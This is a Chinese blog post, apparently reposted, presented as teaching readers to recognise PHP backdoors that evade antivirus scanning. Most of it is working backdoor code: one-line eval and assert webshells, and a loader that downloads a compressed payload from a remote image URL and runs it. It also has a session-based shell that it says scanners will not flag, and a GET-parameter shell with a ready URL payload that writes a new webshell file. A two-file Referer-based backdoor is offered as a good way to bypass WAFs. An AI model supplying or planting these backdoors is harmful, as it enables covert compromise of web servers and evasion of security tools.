教你识别简单的免查杀PHP后门

前端技术 2023/09/08 PHP

一个最常见的一句话后门可能写作这样

<?php @eval($_POST[\'cmd\']);?>

或这样

<?php @assert($_POST[\'cmd\']);?>

tudouya 同学在FREEBUF上给出[一种构造技巧]利用

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,

复制代码 代码如下:

<?php
echo gzuncompress(substr(file_get_contents(sprintf(\'%s?%s\',pack(\"H*\",
\'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>

无特征隐藏PHP一句话:

   <?php 
session_start(); 
$_POST [ \'code\' ] && $_SESSION [ \'theCode\' ] = trim( $_POST [ \'code\' ]); 
$_SESSION [ \'theCode\' ]&&preg_replace( \'\\\'a\\\'eis\' , \'e\' . \'v\' . \'a\' . \'l\' . \'(base64_decode($_SESSION[\\\'theCode\\\']))\' , \'a\' ); 
?>
 

将$_POST[\'code\']的内容赋值给$_SESSION[\'theCode\'],然后执行$_SESSION[\'theCode\'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的PHP后门:

<?php $_GET [a]( $_GET [b]);?>

 
仅用GET函数就构成了木马;
利用方法:
    ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
层级请求,编码运行PHP后门:
此方法用两个文件实现,文件1
 

 <?php 
//1.php 
header( \'Content-type:text/html;charset=utf-8\' ); 
parse_str ( $_SERVER [ \'HTTP_REFERER\' ], $a ); 
if (reset( $a ) == \'10\' && count ( $a ) == 9) { 
eval ( base64_decode ( str_replace ( \" \" , \"+\" , implode( array_slice ( $a , 6))))); 
} 

?>

文件2

 <?php 
//2.php 
header( \'Content-type:text/html;charset=utf-8\' ); 
//要执行的代码 
$code = <<<CODE 
phpinfo(); 
CODE; 
//进行base64编码 
$code = base64_encode ( $code ); 
//构造referer字符串 
$referer = \"a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=\" ; 
//后门url 
$url = \'http://localhost/test1/1.php \' ; 
$ch = curl_init(); 
$options = array ( 
CURLOPT_URL => $url , 
CURLOPT_HEADER => FALSE, 
CURLOPT_RETURNTRANSFER => TRUE, 
CURLOPT_REFERER => $referer
); 
curl_setopt_array( $ch , $options ); 
echocurl_exec( $ch ); 

?>


通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。

本文地址:https://www.stayed.cn/item/21300

转载请注明出处。

本站部分内容来源于网络,如侵犯到您的权益,请 联系我

我的博客

人生若只如初见,何事秋风悲画扇。